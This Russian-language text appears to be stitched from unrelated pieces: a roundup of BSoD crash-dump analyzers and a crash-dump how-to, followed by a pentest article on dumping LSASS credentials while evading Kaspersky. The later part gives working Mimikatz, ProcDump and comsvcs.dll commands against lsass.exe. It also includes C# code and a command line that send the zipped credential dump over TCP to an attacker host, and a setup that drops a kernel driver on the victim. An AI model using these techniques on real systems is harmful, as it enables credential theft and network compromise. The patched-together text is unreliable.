Хотите понять, что приводит к сбою в вашем компьютере и появлению так называемого «синего экрана смерти» (BSoD)? Для анализа отчётов об аварийных сбоях в Windows можно использовать специальное ПО, предназначенное для этих целей. В этой статье я расскажу о лучших бесплатных анализаторах аварийного дампа для ОС Windows.
Всякий раз, когда на вашем компьютере в результате возникшей ошибки происходит сбой, создаётся файл мини-дампа (.dmp), по умолчанию записываемый в папку C:\Windows\MiniDump. Если этого не происходит, следует соответствующим образом настроить Windows. Бесплатные программы, о которых пойдёт речь, читают файлы мини-дампа и анализируют причину сбоя, чтобы вы могли просмотреть модуль или драйвер, которые вызвали появление синего экрана.
Программа-анализатор выдаёт подробный отчёт с кодом ошибки, исключением, информацией о файлах и т.д. Сгенерированный отчёт можно экспортировать в файл, чтобы поделиться им с другими пользователями или просмотреть позже. Некоторые программы из этой подборки также показывают отчёты о сбоях приложений и процессов.
BlueScreenView
Это бесплатная утилита, используемая для анализа файлов BSoD и мини-дампа в Windows. С её помощью вы можете просматривать файлы мини-дампа, чтобы понять причины, приведшие к сбою вашего компьютера. BlueScreenView извлекает все файлы мини-дампа из расположения по умолчанию. Но можно изменить расположение по умолчанию или импортировать файл аварийного дампа из пользовательского расположения.
BlueScreenView позволяет просмотреть различную информацию о сбое. Вы сможете увидеть время сбоя, драйвер, который, вероятно, вызвал сбой, код проверки ошибок, адрес сбоя, описание файла, версию файла, параметры сбоя и многое другое. Отчёт со всей (или только с выбранной) информацией о сбое можно экспортировать в формат HTML.
WhoCrashed
WhoCrashed извлекает и загружает отчёты о сбоях из местоположения файлов мини-дампа по умолчанию. Начать импорт всех файлов аварийного дампа вы можете, нажав кнопку Анализировать. Предварительно выберите количество отчётов, которое хотите просмотреть. Отчёт о сбое отображается во вкладке Отчёт. Найдите самый последний или любой другой файл мини-дампа, который хотите проанализировать, а затем просмотрите соответствующую инфу в этом разделе.
Программа показывает подробные отчёты о сбоях, включая такие сведения, как ошибки, код проверки ошибок, описание проверки, модуль, который, возможно, вызвал сбой, путь к файлу и многое другое. WhoCrashed предоставляет веб-ссылку, чтобы вы могли просмотреть подробные сведения об ошибке в интернете. В конце вкладки Отчёт есть раздел Заключение, в котором отображается сводка всех сбоев и советы по их предотвращению. Функция Crash Dump Test позволит вам вручную вывести компьютер из строя с целью тестирования. Сгенерированный программой отчёт можно экспортировать в HTML-документ.
Windbg
Это ещё одно бесплатное ПО для анализа аварийного дампа в ОС Windows. Этот инструмент отладки является частью пакета Windows Software Development Kit (SDK). При установке этого пакета просто выберите также Инструменты отладки для Windows.
Вы можете импортировать файл мини-дампа со своего компьютера, используя опцию File > Open Crash Dump. Нажмите кнопку Анализировать. Программа отобразит подробный отчёт о сбое, который включает сведения о неисправном драйвере, ошибку исключения, код исключения, квалификатор дампа и многое другое.
AppCrashView
А это анализатор аварийного дампа для приложений в ОС Windows. В основном он показывает отчёт дампа для аварийного приложения с использованием файлов отчётов об ошибках Windows (.wer). Так вы сможете просмотреть список процессов, в которых произошёл сбой, и такие сведения, как модули неисправностей, код исключения, имя события, время события и т.д. Кликните по интересующему процессу, чтобы просмотреть подробный отчёт о сбое. Отчёт о сбое можно сохранить в форматы CSV, HTML, TXT или XML.
WinCrashReport
Это бесплатная утилита для отображения отчётов о сбоях процессов и приложений в ОС Windows. С её помощью вы сможете проверить, какое приложение вызвало аварийную ситуацию и почему. Программа отображает адрес сбоя, код исключения, адрес исключения, название продукта, версию файла, строки в стеке, список модулей, данные полного стека и пр. Используя эти сведения, вы можете изучить причину сбоев приложения.
Теги:
Windows
BlueScreenView
WhoCrashed
Windbg
AppCrashView
WinCrashReport
Что такое дамп
Дамп падения программы (файл .dmp) позволяет разработчику проанализировать причины сбоя, приведшие к нештатному (аварийному) завершению программы.
Лучше всего создавать полный дамп. Он содержит снимок всего адресного пространства процесса, таблицу хендлов и пр. важную инфу.
Если программа создана с отладочными символами, разработчик по дампу может увидеть место в исходном коде и стек вызова функций на момент падения программы. Например, вот какой результат мы увидим при анализе дампа в WinDbg (попытка разыменовать нулевой указатель):
Microsoft (R) Windows Debugger Version 10.0.14321.1024 AMD64
Copyright (c) Microsoft Corporation. All rights reserved.
Loading Dump File [H:\_AVZ\Наши разработки\HiJackThis\beta\2.0.7\Bugs\GetHJT_dump\HiJackThis.exe_170412_234019.dmp]
User Mini Dump File with Full Memory: Only application data is available
Comment: '
*** procdump.exe -accepteula -ma -l -o -e -w -x . HiJackThis.exe /silentautolog
*** Unhandled exception: C0000005.ACCESS_VIOLATION'
Symbol search path is: srv*
Executable search path is:
Windows 7 Version 7601 (Service Pack 1) MP (8 procs) Free x86 compatible
Product: WinNt, suite: SingleUserTS
Machine Name:
Debug session time: Wed Apr 12 23:40:20.000 2017 (UTC + 3:00)
System Uptime: 0 days 8:19:25.472
Process Uptime: 0 days 0:00:01.000
..............................
Loading unloaded module list
.
This dump file has an exception of interest stored in it.
The stored exception information can be accessed via .ecxr.
(2270.200): Access violation - code c0000005 (first/second chance not available)
eax=0018f4c0 ebx=00000001 ecx=00000001 edx=00000000 esi=00000000 edi=0018f4c0
eip=770b8a5b esp=0018f4a8 ebp=0018f7ac iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
ntdll!RtlMoveMemory+0x1b:
770b8a5b f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
0:000> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************
*** ERROR: Symbol file could not be found. Defaulted to export symbols for msvbvm60.dll -
DUMP_CLASS: 2
DUMP_QUALIFIER: 400
CONTEXT: (.ecxr)
eax=0018f4c0 ebx=00000001 ecx=00000001 edx=00000000 esi=00000000 edi=0018f4c0
eip=770b8a5b esp=0018f4a8 ebp=0018f7ac iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
ntdll!RtlMoveMemory+0x1b:
770b8a5b f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
Resetting default scope
FAULTING_IP:
ntdll!RtlMoveMemory+1b
770b8a5b f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
EXCEPTION_RECORD: (.exr -1)
ExceptionAddress: 770b8a5b (ntdll!RtlMoveMemory+0x0000001b)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000000
Parameter[1]: 00000000
Attempt to read from address 00000000
DEFAULT_BUCKET_ID: NULL_POINTER_READ
PROCESS_NAME: HiJackThis.exe
ERROR_CODE: (NTSTATUS) 0xc0000005 -
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 -
EXCEPTION_CODE_STR: c0000005
EXCEPTION_PARAMETER1: 00000000
EXCEPTION_PARAMETER2: 00000000
FOLLOWUP_IP:
HiJackThis!modMain::DoCrash+17 [H:\_AVZ\1673~1\HIJACK~1\beta\202C0A~1.7\modMain.bas @ 10085]
00585f27 ff15e8104000 call dword ptr [HiJackThis!_imp___vbaSetSystemError (004010e8)]
READ_ADDRESS: 00000000
BUGCHECK_STR: NULL_POINTER_READ
WATSON_BKT_PROCSTAMP: 58ed263b
WATSON_BKT_PROCVER: 2.6.0.19
PROCESS_VER_PRODUCT: HiJackThis
WATSON_BKT_MODULE: ntdll.dll
WATSON_BKT_MODSTAMP: 589c957a
WATSON_BKT_MODOFFSET: 58a5b
WATSON_BKT_MODVER: 6.1.7601.23677
MODULE_VER_PRODUCT: Microsoft® Windows® Operating System
BUILD_VERSION_STRING: 6.1.7601.23677 (win7sp1_ldr.170209-0600)
MODLIST_WITH_TSCHKSUM_HASH: b63b57a1d36f78f1439d9886be89df4522d7a614
MODLIST_SHA1_HASH: 480f2eafb00da531c8d5dba5aa25980031183560
NTGLOBALFLAG: 70
APPLICATION_VERIFIER_FLAGS: 0
PRODUCT_TYPE: 1
SUITE_MASK: 272
DUMP_FLAGS: 8000c07
DUMP_TYPE: 0
ANALYSIS_SESSION_HOST: ALEX-PC
ANALYSIS_SESSION_TIME: 04-12-2017 23:41:10.0400
ANALYSIS_VERSION: 10.0.14321.1024 amd64fre
THREAD_ATTRIBUTES:
OS_LOCALE: RUS
PROBLEM_CLASSES:
NULL_POINTER_READ
Tid [0x200]
Frame [0x00]: ntdll!RtlMoveMemory
LAST_CONTROL_TRANSFER: from 00585f27 to 770b8a5b
STACK_TEXT:
0018f4ac 00585f27 0018f4c0 00000000 00000004 ntdll!RtlMoveMemory+0x1b
0018f4c0 0059b15c 0018f7b8 0018f888 00000001 HiJackThis!modMain::DoCrash+0x17
0018f7ac 72991d33 0038a520 0018f7c8 00423776 HiJackThis!frmMain::Form_Load+0x350c
WARNING: Stack unwind information not available. Following frames may be wrong.
0018f7c8 72992034 00423776 0018f884 00000002 msvbvm60!IID_IVbaHost+0x236f3
0018f7e0 7299211a 0038a75c 0018f8c4 0018f884 msvbvm60!IID_IVbaHost+0x239f4
0018f8e8 72992667 02023b24 02021d5c 020165a8 msvbvm60!IID_IVbaHost+0x23ada
0018f90c 729721b7 02023b24 00000006 0018f92c msvbvm60!IID_IVbaHost+0x24027
0018f968 72971ead 02aa07e4 00000000 00000000 msvbvm60!IID_IVbaHost+0x3b77
0018f988 729a48d1 02aa07e4 0201b70c 00000000 msvbvm60!IID_IVbaHost+0x386d
0018f9dc 729a7205 02021d5c 0038a520 0018fa1c msvbvm60!IID_IVbaHost+0x36291
0018fadc 72991d33 00314c80 0018faf8 0041a111 msvbvm60!IID_IVbaHost+0x38bc5
0018faf8 72992034 0041a111 0018fbb4 00000002 msvbvm60!IID_IVbaHost+0x236f3
0018fb10 7299211a 00314ccc 0018fbf4 0018fbb4 msvbvm60!IID_IVbaHost+0x239f4
0018fc18 72992667 02021534 02020ca4 020165a8 msvbvm60!IID_IVbaHost+0x23ada
0018fc3c 729721b7 02021534 00000006 0018fc5c msvbvm60!IID_IVbaHost+0x24027
0018fc98 72971ead 02aa07e4 00000000 00000000 msvbvm60!IID_IVbaHost+0x3b77
0018fcb8 729a48d1 02aa07e4 0201b5ec 00000000 msvbvm60!IID_IVbaHost+0x386d
0018fd10 729aff18 0018fd48 00000001 02aa07e4 msvbvm60!IID_IVbaHost+0x36291
0018fd4c 7295e703 02020ca4 00000001 0068c72c msvbvm60!IID_IVbaHost+0x418d8
0018fe9c 72947b3e 02aa07e4 004174f0 020107e4 msvbvm60!Zombie_Release+0xfcaa
0018fec0 72943981 004174f0 00000000 004174f0 msvbvm60!BASIC_CLASS_QueryInterface+0xeca
0018fee0 729436fa 00400000 00400000 00000000 msvbvm60!ThunRTMain+0x3dd
0018ff00 72943600 00000000 00400000 00000000 msvbvm60!ThunRTMain+0x156
0018ff80 00416c36 004174f0 76a3336a 7efde000 msvbvm60!ThunRTMain+0x5c
0018ff94 77099902 7efde000 76c7e7ca 00000000 HiJackThis!__vbaS+0xa
0018ffd4 770998d5 00416c2c 7efde000 00000000 ntdll!__RtlUserThreadStart+0x70
0018ffec 00000000 00416c2c 7efde000 00000000 ntdll!_RtlUserThreadStart+0x1b
THREAD_SHA1_HASH_MOD_FUNC: e8cc842f7d5a20bc043c6fad12f5ba2fb08bcb4a
THREAD_SHA1_HASH_MOD_FUNC_OFFSET: d6233098d398cbf847a00c7f17ee84d737b52f95
THREAD_SHA1_HASH_MOD: 16304f32e2c3a9bb2028604a8b3897def57b6479
FAULT_INSTR_CODE: 10e815ff
FAULTING_SOURCE_LINE: H:\_AVZ\1673~1\HIJACK~1\beta\202C0A~1.7\modMain.bas
FAULTING_SOURCE_FILE: H:\_AVZ\1673~1\HIJACK~1\beta\202C0A~1.7\modMain.bas
FAULTING_SOURCE_LINE_NUMBER: 10085
FAULTING_SOURCE_CODE:
10081: End If
10082: End Sub
10083:
10084: Public Sub DoCrash()
>10085: memcpy 0, ByVal 0, 4
10086: End Sub
SYMBOL_STACK_INDEX: 1
SYMBOL_NAME: hijackthis!modMain::DoCrash+17
FOLLOWUP_NAME: MachineOwner
MODULE_NAME: HiJackThis
IMAGE_NAME: HiJackThis.exe
DEBUG_FLR_IMAGE_TIMESTAMP: 58ed263b
STACK_COMMAND: .ecxr ; kb
BUCKET_ID: NULL_POINTER_READ_hijackthis!modMain::DoCrash+17
PRIMARY_PROBLEM_CLASS: NULL_POINTER_READ_hijackthis!modMain::DoCrash+17
FAILURE_EXCEPTION_CODE: c0000005
FAILURE_IMAGE_NAME: HiJackThis.exe
BUCKET_ID_IMAGE_STR: HiJackThis.exe
FAILURE_MODULE_NAME: HiJackThis
BUCKET_ID_MODULE_STR: HiJackThis
FAILURE_FUNCTION_NAME: modMain::DoCrash
BUCKET_ID_FUNCTION_STR: modMain::DoCrash
BUCKET_ID_OFFSET: 17
BUCKET_ID_MODTIMEDATESTAMP: 58ed263b
BUCKET_ID_MODCHECKSUM: 3eaa52
BUCKET_ID_MODVER_STR: 2.6.0.19
BUCKET_ID_PREFIX_STR: NULL_POINTER_READ_
FAILURE_PROBLEM_CLASS: NULL_POINTER_READ
FAILURE_SYMBOL_NAME: HiJackThis.exe!modMain::DoCrash
FAILURE_BUCKET_ID: NULL_POINTER_READ_c0000005_HiJackThis.exe!modMain::DoCrash
WATSON_STAGEONE_URL: http://watson.microsoft.com/StageOne/HiJackThis.exe/2.6.0.19/58ed263b/ntdll.dll/6.1.7601.23677/589c957a/c0000005/00058a5b.htm?Retriage=1
TARGET_TIME: 2017-04-12T20:40:20.000Z
OSBUILD: 7601
OSSERVICEPACK: 23677
SERVICEPACK_NUMBER: 0
OS_REVISION: 0
OSPLATFORM_TYPE: x86
OSNAME: Windows 7
OSEDITION: Windows 7 WinNt (Service Pack 1) SingleUserTS
USER_LCID: 0
OSBUILD_TIMESTAMP: 2017-02-09 18:17:35
BUILDDATESTAMP_STR: 170209-0600
BUILDLAB_STR: win7sp1_ldr
BUILDOSVER_STR: 6.1.7601.23677
ANALYSIS_SESSION_ELAPSED_TIME: e0a
ANALYSIS_SOURCE: UM
FAILURE_ID_HASH_STRING: um:null_pointer_read_c0000005_hijackthis.exe!modmain::docrash
FAILURE_ID_HASH: {02ecd512-612d-c870-fdc2-5236b80dda87}
Followup: MachineOwner
---------
Как создать дамп падения программы
Приведу несколько наиболее удобных на мой взгляд способов:
1) Используя подсистему WER (Windows Error Reporting). Поддерживается в Windows Vista и выше.
1.1. Примените такой твик (файл .reg):
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Windows Error Reporting\LocalDumps]
"DumpFolder"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,44,00,72,00,69,\
00,76,00,65,00,25,00,5c,00,43,00,72,00,61,00,73,00,68,00,44,00,75,00,6d,00,\
70,00,73,00,00,00
"DumpCount"=dword:0000000a
"DumpType"=dword:00000002
1.2. Запустите сбойное приложение.
1.3. Дамп будет создан в папке C:\CrashDumps
1.4. Отмените изменения в реестре, удалив ветку HKLM\SOFTWARE\Microsoft\Windows\Windows Error Reporting\LocalDumps, или примените соответствующий твик из архива во вложении.
Можно также настроить и другие параметры: см. WER Settings (Windows)
Выполните такую команду (в примере, имя сбойной программы HiJackThis — вам нужно поменять на своё):
> "dump.log" procdump.exe -accepteula -ma -l -f "" -o -e 1 -w -x . "HiJackThis.exe"
Дамп *.dmp будет создан в этой же папке.
Файл dump.log будет содержать вывод программы ProcDump с дополнительной информацией об ошибках.
Б. Альтернативно, Вы можете настроить систему для автоматического запуска ProcDump в качестве внешнего отладчика. Для этого:
procdump -accepteula -i -ma -kill
Вы должны увидеть сообщение:
ProcDump is now set as the Just-in-time (AeDebug) debugger.
Запустите сбойное приложение.
Для удаления внешнего отладчика выполните команду:
3) Используя в программе API-функцию SetUnhandledExceptionFilter.
Поддерживаются не все языки (например, в VB6 этот способ не работает).
Для этого можете воспользоваться уже готовой DLL-кой от Олега Казакевича (см. приложенный архив CrashDumper).
3.1. Положите рядом со своей программой dbghelp.dll и CrashDumper.dll
3.2. Загрузите в адресное пространство процесса библиотеку CrashDumper.dll (через LoadLibrary) в коде инициализации программы.
Программу, разумеется, нужно распространять именно в таком виде.
Важно! Для разработчика:
Дамп программы подходит под отладочные символы строго определённой версии программы.
Поэтому вам нужно сохранять и «откладывать на полочку» отладочные символы (файл .pdb) при каждой компиляции для всех распространяемых версий.
Во время отладки, Вам необходимо расположить файл .pdb соответствующей версии программы в исходную папку, где он лежал в момент компиляции, чтобы отладчик сумел корректно подхватить его.
Обычно, файл .pdb содержит полный исходный код программы, поэтому не распространяйте его, если у вас закрытый проект.
Программа позволяет максимально удобно и точно определять причину BSOD, анализируя файлы дампов памяти средствами отладки. Для работы нужен интернет, так как оттуда временно будут загружены отладочные символы. Чтобы проанализировать файл дампа или папку с дампами, перетяните их мышкой на MiniDumper.exe и ждите, по окончанию работы будет показано сообщение с именем дампа, кодом ошибки, именем процесса и сбойного файла, если они будут определены. Это же сообщение будет продублировано в файл %Temp%\MiniDumper.log
Поддерживается работа из командной строки, для этого файл дампа или папку с дампами нужно указать программе в качестве параметра. Тихий режим будет работать с ключом /S, причём ключ должен быть указан в первую очередь.
При запуске программы как есть, без параметров, анализируются пути в рабочей системе и проверяются те файлы, который в данный момент указаны в параметрах записи отладочной информации. Обычно это %SystemRoot%\Minidump для малых дампов и %SystemRoot%\memory.dmp для всех остальных случаев.
Для каждого проанализированного дампа будет создан одноимённый log-файл с полным выводом информации для дополнительного анализа опытными пользователями.
Программа работает на системах от Win7 (с обновлениями) до Win10, x86 и x64. Права администратора не требуются, но при включенном UAC предлагаются для доступа к системной папке с дампами. Имеется английская локализация, включается автоматически.
Особая благодарность Petya V4sechkin за советы и знания. Принимаются пожелания по улучшению работы программы, или результаты работы других подобных программ и дампы файлов, которые помогут усовершенствовать MiniDumper.
Далее я расскажу свой опыт использования и кастомизации публично доступных инструментов, которые в разные промежутки времени позволяли мне сдампить память LSASS при активном «Касперском». Погнали!
Краткий ликбез
Если не сильно углубляться в теорию, то Local Security Authority Subsystem Service (он же LSASS) — это процесс (исполняемый файл C:\Windows\System32\lsass.exe
), ответственный за управление разными подсистемами аутентификации ОС Windows. Среди его задач: проверка «кред» локальных и доменных аккаунтов в ходе различных сценариев запроса доступа к системе, генерация токенов безопасности для активных сессий пользователей, работа с провайдерами поддержки безопасности (Security Support Provider, SSP) и др.
Несмотря на то, что в 2к22 при успешном дампе LSASS злоумышленнику чаще всего остается довольствоваться NT-хешами и билетами Kerberos, это все равно с большой вероятностью позволит ему повысить свои привилегии в доменной среде AD за короткий промежуток времени. Реализуя схемы Pass-the-Hash, Overpass-the-Hash и Pass-the-Ticket, злоумышленник может быстро распространиться по сети горизонтально, собирая по пути все больше хешей и «тикетов», что в конечном итоге дарует ему «ключи от Королевства» в виде данных аутентификации администратора домена.
Экскурс в историю дампов LSASS
Рассмотрим первопроходцев в ремесле извлечения данных аутентификации из памяти LSASS.
Mimikatz
Было бы преступлением не начать повествование с такого мастодонта в области потрошения подсистем аутентификации Windows как Mimikatz, которым хоть раз пользовался любой пентестер.
Модуль sekurlsa::logonpasswords
позволяет «налету» парсить память lsass.exe с целью поиска секретиков без сохранения соответствующего дампа на диск. Этот инструмент поистине произвел революцию в наступательных операциях и положил начало многим другим исследованием в области извлечения чувствительной информации с хостов под управлением Windows.
Cmd
C:\>mimikatz.exe
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # log out.txt
mimikatz # sekurlsa::logonpasswords full
mimikatz # exit
C:\>mimikatz.exe "privilege::debug" "token::elevate" "log out.txt" "sekurlsa::logonpasswords full" "exit"
К сожалению для пентестеров, вендоры AV / EDR быстро «просекли фишку» и стали относиться к «Мимику»
На заметку: официальная вики Mimikatz покрывает далеко не все его возможности, поэтому энтузиасты InfoSec-комьюнити создали вот такой замечательный ресурс, которым я рекомендую пользоваться в случае возникновения вопросов, что делает та или иная команда этого замечательного инструмента.
ProcDump
Другим фаворитом внутренних пентестов долгое время был метод создания снимка памяти LSASS с помощью служебной программы ProcDump из состава Windows Sysinternals. Этот инструмент позволяет создавать дампы процессов с целью их дальнейшего анализа, и процесс lsass.exe тому не исключение (если права позволяют, разумеется, хе-хе).
Cmd
C:\>procdump64.exe -accepteula -64 -ma lsass.exe lsass.dmp
Теперь можно притащить слепленный дамп к себе на тачку и распарсить его с помощью того же Mimikatz.
Cmd
C:\>mimikatz.exe
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonpasswords full
mimikatz # exit
C:\>mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords full" "exit"
Или его аналога для Linux – Pypykatz.
Cmd
~$ pypykatz lsa minidump lsass.dmp
Прелесть этого метода заключается в том, что все необходимые операции по созданию слепка памяти выполняет ProcDump, подписанный Microsoft, и этичному взломщику не требуется тащить на хост никакой малвари. Однако разработчики корпоративных антивирусных решений тоже долго не стояли в стороне и оперативно прикрыли возможность делать дампы LSASS с помощью ProcDump, включив его в разряд PDM:HackTool.Win32.CreDump.rbaa
.
comsvcs.dll
Безусловно, интересной находкой стало обнаружение экспорта функции MiniDumpW в системной библиотеке C:\Windows\System32\comsvcs.dll
, которая дергает вызов Win32 API MiniDumpWriteDump и позволяет делать слепки процессов в рамках концепции Living Off The Land Binaries And Scripts (LOLBAS), когда злоумышленнику не нужно приносить ничего лишнего на атакуемую машину.
Эта библиотека легла в основу первых версий замечательной утилиты lsassy, позволяющей делать слепки LSASS и удаленно читать необходимые области памяти созданного дампа, а не перенаправлять его целиком на машину атакующего (подробнее о принципе работы можно почитать в блоге автора утилиты).
Если взглянуть на код, можно найти суперские «однострочники» для Cmd и PowerShell, которые автоматически позволяют получить идентификатор процесса lsass.exe и сдампить его память по заданному пути.
C:\>for /f "tokens=1,2 delims= " ^%A in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump ^%B C:\lsass.dmp full
PS C:\> rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id C:\lsass.dmp full
Примечание: лучше пользоваться PowerShell-версией команды, так как для оболочки PowerShell в отличии от Cmd по дефолту включена привилегия
SeDebugPrivilege
для привилегированной сессии шелла, которая понадобится для доступа к памяти lsass.exe.
Стоит ли говорить, что создание дампа по такой простой технике, разумеется, будет предотвращено хотя бы мало-мальски неравнодушным антивирусом?
Out-Minidump.ps1
Еще один древний как мир способ — позаимствовать импорт P/Invoke функции MiniDumpWriteDump из класса NativeMethods сборки System.Management.Automation.WindowsErrorReporting
, как это делается в скрипте Out-Minidump.ps1 из арсенала PowerSploit.
MiniDumpWriteDump
$WER = [PSObject].Assembly.GetType('System.Management.Automation.WindowsErrorReporting')
$WERNativeMethods = $WER.GetNestedType('NativeMethods', 'NonPublic')
$Flags = [Reflection.BindingFlags] 'NonPublic, Static'
$MiniDumpWriteDump = $WERNativeMethods.GetMethod('MiniDumpWriteDump', $Flags)
$MiniDumpWriteDump
Результат работы скрипта аналогичен вызову функции MiniDump из предыдущего метода, поэтому оставлю это в качестве упражнения для читателя. Ну и, соответственно, антивирусы так же негативно к нему относятся.
Дампим LSASS по OPSEC-овски
Итак, перейдем к самому интересному: как же можно «угодить» антивирусным средствам защиты и сделать дамп памяти процесса lsass.exe в стиле Operational Security?
Запреты AV на создание слепков памяти LSASS условно можно разделить на 3 части:
-
Запрет на получение дескриптора процесса lsass.exe.
-
Запрет на чтение виртуальной памяти процесса lsass.exe.
-
Запрет на сохранение результирующего дампа на диск.
Ниже мы рассмотрим 3 проекта, каждый из которых в свое время помогал мне извлечь чувствительную информацию из памяти сетевых узлов при активном средстве KES на внутренних пентестах или операциях Red Team.
MirrorDump
Его ключевые особенности:
В минусы этого способа безусловно входит то, что библиотека DLL псевдопровайдера аутентификации LSA должна быть сохранена на диск скомпрометированного хоста для возможности ее использования в API SpLsaModeInitialize, и которая, ко всему прочему, не может быть удалена после создания дампа без перезагрузки ПК.
Данный проект существует как Proof-of-Concept, который «из коробки» в конечном итоге все равно сохраняет дамп памяти на диск даже с учетом того, что генерация такого дампа проходит столь необычным образом. Поэтому я решил сделать свой форк, добавив две новые фичи:
-
Парсинг слепка прямо в памяти с помощью библиотеки MiniDump (работает не на всех версиях ОС Windows).
-
Возможность сжатия и отправки байт слепка памяти по TCP-каналу на машину атакующего, где парсинг может быть произведен силами сторонних инструментов (Mimikatz / Pypykatz).
Для первой фичи был добавлен флаг --parse
, при наличии которого байты слепка передаются на EntryPoint MiniDump.
Cmd
C:\>MirrorDump.exe --dllName LegitLSAPlugin1.dll --parse
Для второй фичи был написан вспомогательный скрипт на Python, содержащий тривиальный сокет-сервер, ожидающий «зиппованный» дамп. Скрипт также автоматически распакует прилетевший дамп, по желанию проверит контрольную сумму и распрасит его с помощью Pypykatz.
Cmd
~$ python3 MirrorDump.py 0.0.0.0 1337 --md5 --parse
C:\>MirrorDump.exe --dllName LegitLSAPlugin1.dll --host 192.168.0.184 --port 1337
Отправка запакованного дампа также легко реализуется на нативном C# через метод SendZip
.
static void SendZip(string host, int port, DumpContext dc)
{
using (var outStream = new MemoryStream())
{
using (var archive = new ZipArchive(outStream, ZipArchiveMode.Create, true))
{
var lsassDump = archive.CreateEntry($"{Guid.NewGuid()}.bin");
using (var entryStream = lsassDump.Open())
using (var dumpCompressStream = new MemoryStream(dc.Data))
dumpCompressStream.CopyTo(entryStream);
}
byte[] compressedBytes = outStream.ToArray();
Console.WriteLine($"[+] Minidump successfully packed in memory, size {Math.Round(compressedBytes.Length / 1024.0 / 1024.0, 2)} MB");
byte[] zipHashBytes = MD5.Create().ComputeHash(compressedBytes);
string zipHash = BitConverter.ToString(zipHashBytes).Replace("-", "");
Console.WriteLine($"[*] MD5: {zipHash}");
using (var tcpClient = new TcpClient(host, port))
{
using (var netStream = tcpClient.GetStream())
{
string hostName = System.Environment.GetEnvironmentVariable("COMPUTERNAME");
string zipSize = (compressedBytes.Length).ToString();
byte[] stage = Encoding.ASCII.GetBytes($"{hostName}|{zipSize}");
netStream.Write(stage, 0, stage.Length);
netStream.Write(compressedBytes, 0, compressedBytes.Length);
}
}
}
}
Также метод создания слепков lsass.exe с помощью MirrorDump был добавлен мной для использования вместе с lsassy.
К сожалению, недолго музыка играла и примерно полгода спустя «Касперский» начал блокировать создание дампов LSASS через данную технику на уровне поведенческого анализа, что заставило нас искать другой «непалящийся» способ извлечения кред на внутряках.
NanoDump
Нашим следующим «спасителем» стал инструмент NanoDump от компании-разработчика Cobalt Strike, который я без преувеличений считаю просто произведением искусства.
Его ключевые особенности:
-
Собственная реализация MiniDumpWriteDump через чтение памяти lsass.exe с помощью ZwReadVirtualMemory, что избавляет оператора от необходимости дергать потенциально подозрительную ручку API.
-
Поддержка разных трюков и техник создания дампа (перечислены не все):
-
Намеренное повреждение сигнатуры дампа памяти с целью избегания детекта от AV на этапе его записи на диск.
-
Компиляция в Beacon Object File (BOF) для выполнения NanoDump из памяти в случае, когда моделируемый злоумышленник обладает сессией «Кобальта» на скомпрометированном сетевом узле.
Для нас, как для пентестеров компаний преимущественно из ру-сегмента, наибольший интерес представляет техника загрузки NanoDump, скомпилированного в виде DLL, прямо в LSASS как SSP, то есть в виде псевдопровайдера аутентификации LSA. Исходя из нашего опыта, на данный момент это и есть слабое место «Касперского».
Physmem2profit
Покажем в действии, как заставить это чудо работать:
-
Для начала клонируем репозиторий проекта, рекурсивно разрешая зависимости в виде git-подмодулей.
-
Далее исправим версии библиотек
acora
иpycryptodome
в зависимостяхrekall-core
, чтобы они дружили с актуальным Python 3. -
Теперь можно запустить инсталлер, который накатит питонячую виртуальную среду и поставит все, что ему нужно.
Cmd
git clone --recursive https://github.com/FSecureLABS/physmem2profit
cd physmem2profit/client
sed -i 's/acora==2.1/acora/g' rekall/rekall-core/setup.py
sed -i 's/pycryptodome==3.4.7/pycryptodome/g' rekall/rekall-core/setup.py
bash install.sh
source .env/bin/activate
Следуя рекомендациям из этого issue, я скачал крайний релиз WinPmem (нам понадобится только файл kernel/binaries/winpmem_x64.sys
) и обновил эти константы для изменившегося интерфейса взаимодействия с драйвером. Внесенные изменения можно посмотреть в моем форке проекта.
Также среди внесенных изменений — захардкоженный файл драйвера, который автоматически кладется в файловую систему «жертвы» перед установкой соответствующей службы и стирается после ее остановки и удаления:
static byte[] Decompress(byte[] data)
{
MemoryStream input = new MemoryStream(data);
MemoryStream output = new MemoryStream();
using (DeflateStream dStream = new DeflateStream(input, CompressionMode.Decompress))
dStream.CopyTo(output);
return output.ToArray();
}
// ...
Program.Log("Installing service...");
var sysCompressed = Convert.FromBase64String("");
var sysRawBytes = Decompress(sysCompressed);
File.WriteAllBytes(pathToDriver, sysRawBytes);
OpenOrCreate(pathToDriver);
Program.Log("Service created successfully.", Program.LogMessageSeverity.Success);
// ...
CloseHandle(_hDevice);
Stop();
Delete();
File.Delete(Globals.pathToDriver);
Program.Log("Successfully unloaded the WinPMem driver.", Program.LogMessageSeverity.Success);
Смотрим, как всем этим пользоваться:
# Server-side
PS > .\Physmem2profit.exe --ip --port [--verbose] [--hidden]
# Client-side
~$ python3 physmem2profit --host --port --install "C:/Windows/Temp/winpmem_x64.sys" --mode all --driver winpmem
Чтобы не упускать преимуществ C#, на котором написана серверная часть, продемонстрируем возможность загрузки и выполнения сборки из памяти.
Вуаля, хеши из LSASS получены!
Противодействие
Вместо заключения приведу несколько рекомендаций, которые помогут свести к минимуму возможности для потенциального злоумышленника сдампить LSASS или извлечь из сделанного слепка значительную выгоду:
Ну а пока извечная игра в кошки-мышки между пентестерами и вендорами антивирусного ПО продолжается, Happy hacking!
